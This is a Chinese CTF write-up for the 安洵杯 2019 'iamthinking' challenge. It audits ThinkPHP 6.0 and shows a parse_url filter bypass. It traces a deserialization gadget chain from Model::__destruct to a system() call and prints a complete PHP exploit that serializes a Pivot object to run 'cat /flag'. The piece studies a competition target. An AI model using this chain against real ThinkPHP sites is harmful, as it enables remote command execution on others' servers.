/www.zip下载源码审计

通过README可以看到是ThinkPHP6.0。

当前只能访问到/public/index.php,

关于这个框架的index.php 【thinkphp6源码分析一 】 最开始的地方 index.php - 转瞬千年 - 博客园

全局搜索一下unserialize,发现在app/controller/Index.php下存在着反序列化的地方。

存在过滤,通过parse_url的缺陷绕过: parse_url小结 - tr1ple - 博客园

  • 在解析形如http://xxx.com///index.php?payload=cmd这样的URI时parse_url会返回false来bypass,参数中包含的payload依然存在
  • compress.zlib://data:@127.0.0.1/plain;base64,可以直接传入数据

同时payload参数可控,通过GET方式就能传递到。

接下来要找反序列的点,参考:[安洵杯 2019]iamthinking&&thinkphp6.0反序列化漏洞 - op_hxc - 博客园 mysql 反序列化_从一道CTF题目中学习ThinkPHP反序列化_weixin_39710361的博客-CSDN博客 两篇博文进行审计

当然已经有大佬写了现成的工具https://github.com/wh1t3p1g/phpggc

不过还是希望能自己掌握框架代码审计这些代码量巨大的项目

全局搜索__destruct(),依次查看,Mongo处无法利用free,close都无法利用,只是释放参数,connection处同理。

看向Model.php,跟进save函数

不能让这返回false,即需要满足$this->isEmpty()不成立,$this->trigger('BeforeWrite')为TRUE。看到isEmpty函数

this->data不为空即可,跟进tigger:

让$this->withEvent为flase即可。

回到save函数,跟进upadteData方法。

protected function updateData(): bool

{

// 事件回调

if (false === $this->trigger('BeforeUpdate')) {

return false;

}

$this->checkData();

// 获取有更新的数据

$data = $this->getChangedData();

if (empty($data)) {

// 关联更新

if (!empty($this->relationWrite)) {

$this->autoRelationUpdate();

}

return true;

}

if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime])) {

// 自动写入更新时间

$data[$this->updateTime]       = $this->autoWriteTimestamp($this->updateTime);

$this->data[$this->updateTime] = $data[$this->updateTime];

}

// 检查允许字段

$allowFields = $this->checkAllowFields();

foreach ($this->relationWrite as $name => $val) {

if (!is_array($val)) {

continue;

}

foreach ($val as $key) {

if (isset($data[$key])) {

unset($data[$key]);

}

}

}

// 模型更新

$db = $this->db();

$db->startTrans();

try {

$where  = $this->getWhere();

$result = $db->where($where)

->strict(false)

->field($allowFields)

->update($data);

$this->checkResult($result);

// 关联更新

if (!empty($this->relationWrite)) {

$this->autoRelationUpdate();

}

$db->commit();

// 更新回调

$this->trigger('AfterUpdate');

return true;

} catch (\Exception $e) {

$db->rollback();

throw $e;

}

}

跟进这个checkAllowFields()

发现字符拼接,可被利用触发__toString。

进入到这一步的条件就是: $this->field为空,且$this->schema也为空。
即: $this->field = []; $this->schema = [];

同时这里还有一个判断,即$this->table,当为true是才能执行字符串的拼接。

所以为了能让这个方法被调用到,我们要让exists存在.

即 $this->exists =True

全局搜索toString魔术方法,在Conversion.php当中。

继续查看tojson这个函数:

跟进到toArray方法。

public function toArray(): array

{

$item       = [];

$hasVisible = false;

foreach ($this->visible as $key => $val) {

if (is_string($val)) {

if (strpos($val, '.')) {

list($relation, $name)      = explode('.', $val);

$this->visible[$relation][] = $name;

} else {

$this->visible[$val] = true;

$hasVisible          = true;

}

unset($this->visible[$key]);

}

}

foreach ($this->hidden as $key => $val) {

if (is_string($val)) {

if (strpos($val, '.')) {

list($relation, $name)     = explode('.', $val);

$this->hidden[$relation][] = $name;

} else {

$this->hidden[$val] = true;

}

unset($this->hidden[$key]);

}

}

// 合并关联数据

$data = array_merge($this->data, $this->relation);

foreach ($data as $key => $val) {

if ($val instanceof Model || $val instanceof ModelCollection) {

// 关联模型对象

if (isset($this->visible[$key]) && is_array($this->visible[$key])) {

$val->visible($this->visible[$key]);

} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {

$val->hidden($this->hidden[$key]);

}

// 关联模型对象

if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {

$item[$key] = $val->toArray();

}

} elseif (isset($this->visible[$key])) {

$item[$key] = $this->getAttr($key);

} elseif (!isset($this->hidden[$key]) && !$hasVisible) {

$item[$key] = $this->getAttr($key);

}

}

// 追加属性(必须定义获取器)

foreach ($this->append as $key => $name) {

$this->appendAttrToArray($item, $key, $name);

}

return $item;

}

再看到getAttr方法:

跟进getData方法:

进入到getRealFieldName方法:

如果$this->strict为True,返回$name。

此时再getData方法中:

$this->data[$fielName] = $this->data[$key]

此时再getAttr中就是: $this->getValue($key, $value, null);

跟进getvalue:

protected function getValue(string $name, $value, $relation = false)

{

// 检测属性获取器

$fieldName = $this->getRealFieldName($name);

$method    = 'get' . Str::studly($name) . 'Attr';

if (isset($this->withAttr[$fieldName])) {

if ($relation) {

$value = $this->getRelationValue($relation);

}

if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {

$value = $this->getJsonValue($fieldName, $value);

} else {

//$fieldName = a

//withAttr[a] = system

$closure = $this->withAttr[$fieldName];

//value = system(ls,)

$value   = $closure($value, $this->data);

}

} elseif (method_exists($this, $method)) {

if ($relation) {

$value = $this->getRelationValue($relation);

}

$value = $this->$method($value, $this->data);

} elseif (isset($this->type[$fieldName])) {

// 类型转换

$value = $this->readTransform($value, $this->type[$fieldName]);

} elseif ($this->autoWriteTimestamp && in_array($fieldName, [$this->createTime, $this->updateTime])) {

$value = $this->getTimestampValue($value);

} elseif ($relation) {

$value = $this->getRelationValue($relation);

// 保存关联对象值

$this->relation[$name] = $value;

}

return $value;

}

is_array($this->withAttr[$fieldName])只要这里不成立就会触发到最后命令执行的点,即$this->withAttr[$fieldName]不为数组即可

最终是执行了system("ls", ["xxx"=>"ls"]),而system函数第二个参数是可选的,也就是这种用法是合法的

最终利用链:

think\Model --> __destruct()

think\Model --> save()

think\Model --> updateData()

think\Model --> checkAllowFields()

think\Model --> db()

后半部分利用链(同tp 5.2后半部分利用链)

think\model\concern\Conversion --> __toString()

think\model\concern\Conversion --> __toJson()

think\model\concern\Conversion --> __toArray()

think\model\concern\Attribute --> getAttr()

think\model\concern\Attribute --> getValue()

Exp:

<?php

namespace think\model\concern {

trait Conversion

{

}

trait Attribute

{

private $data;

private $withAttr = ["xxx" => "system"];

public function get()

{

$this->data = ["xxx" => "cat /flag"];

}

}

}

namespace think{

abstract class Model{

use model\concern\Attribute;

use model\concern\Conversion;

private $lazySave;

protected $withEvent;

private $exists;

private $force;

protected $field;

protected $schema;

protected $table;

function __construct(){

$this->lazySave = true;

$this->withEvent = false;

$this->exists = true;

$this->force = true;

$this->field = [];

$this->schema = [];

$this->table = true;

}

}

}

namespace think\model{

use think\Model;

class Pivot extends Model

{

function __construct($obj='')

{

//定义this->data不为空

parent::__construct();

$this->get();

$this->table = $obj;

}

}

$a = new Pivot();

$b = new Pivot($a);

echo urlencode(serialize($b));

}

http://9dda91b3-c6bf-4eb1-94f5-64d7f3359e5f.node4.buuoj.cn:81///public/?payload=

提交即可

[安洵杯 2019]iamthinking相关推荐

  1. BUUCTF [安洵杯 2019]easy_serialize_php

    考点: 变量覆盖.反序列化中的对象逃逸 题目地址:BUUCTF在线评测 源码如下: <?php$function = @$_GET['f'];function filter($img){$fil ...

  2. 【BUUCTF】[安洵杯 2019]吹着贝斯扫二维码

    题目链接:[安洵杯 2019]吹着贝斯扫二维码. 下载压缩包解压得到这么一些文件,可以看到一堆未知类型文件和一个flag.zip 老规矩,把这些没有拓展名的文件用010Editor打开,发现都是jpg ...

  3. [安洵杯 2019]吹着贝斯扫二维码

    [安洵杯 2019]吹着贝斯扫二维码 压缩包解压后得到一些无后缀文件,和一个flag.zip 查看flag.zip内容发现尾部有类似base32的数据,先不管去看那些文件(这题其实可以用不到其他文件) ...

  4. BUUCTF:[安洵杯 2019]不是文件上传

    这题和攻防世界XCTF:upload有点像,看似上传却都不是上传是上传图片的文件名注入 参考:安洵杯2019 官方Writeup 获取源码 在网站首页存在一些信息 在gihtub找得到源码 BUU也给 ...

  5. 【安洵杯 2019】easy-web

    涉及内容:base64解码.代码审计.MD5强类型注入.命令注入绕过 打开控制器,查看源代码,可以看到md5 is funny,可知这题应该会出现MD5 其余信息一无所获后,看到网站: 看到img=T ...

  6. [安洵杯 2019]Attack (详细解析)

    (*本文使用工具,均为windows系统,这些工具kali系统自带,有的人不喜欢用kali系统,主页有windows下载资源) 题目链接: https://buuoj.cn/challenges#[% ...

  7. 第二届安洵杯2019部分writeup

    Web easy_web 参数可疑:?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd= TXpVek5UTTFNbVUzTURabE5qYz0进行两次base64解密, ...

  8. BUUCTF:[安洵杯 2019]吹着贝斯扫二维码

    题目地址:https://buuoj.cn/challenges#[%E5%AE%89%E6%B4%B5%E6%9D%AF%202019]%E5%90%B9%E7%9D%80%E8%B4%9D%E6% ...

  9. [安洵杯 2019]easy_web 1

    打开环境 源码中只有一个md is funny 然后URL有一个img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd= 先试试模板注入发现不行,然后伪协议也不行,再爆破目录也 ...

最新文章

  1. C#将WebBowser控件替换为Chrome内核
  2. stm32正交编码器 原理图_恶劣环境下应用的电感式增量编码器和绝对编码器
  3. 这是一篇测试博文的文章
  4. 创建ASP.NET Core MVC应用程序(3)-基于Entity Framework Core(Code First)创建MySQL数据库表
  5. 【正则】正则表达式基础知识大全
  6. 潍坊OA:通达OA协同办公标准解决方案
  7. TSX指令集之RTM无锁并发能加快速度吗?与mutex加锁比较
  8. GB35114-SIP部分技术预研
  9. 网易云IM(即时通讯) 互动直播集成
  10. php爬虫框架选用什么
  11. Android 选择文件(调用系统文件管理器)
  12. 山东大学项目实训(三十二)—— 科室管理
  13. 马云登陆雅虎首次发表演讲稿全文。
  14. 指定TabLayout的指示器宽度
  15. 使用 mysql_use_result 还是使用 mysql_store_result
  16. TMC260系列电机驱动芯片应用介绍
  17. 网站建设需要注意哪些(网站建设流程)
  18. 一个简易的c语言病毒源码
  19. 大数据系统的学习路径、思维导图
  20. 论如何打开.md文件

热门文章

  1. 浅浅的计算机网络知识
  2. 高通滤波法、微分算子法、神经网络方法实现图像边缘检测
  3. 使用 Vue3 + vite + elementUI 开发一个 Utools Markdown 编辑器插件
  4. vue+xlsx实现表格的导入导出:
  5. 五月的仓颉-四年努力,梦归阿里,和大家聊聊成长感悟
  6. SharePoint网站集功能介绍
  7. http://www.3lian.com/edu/2014/01-25/126892.html
  8. 【微信小程序】自定义加载动画
  9. macOS Ventura 13.4.1 (22F82|22F2083) 正式版发布,ISO、IPSW、PKG 下载
  10. 使用电信 TR069 内网架设 WireGuard 隧道异地组网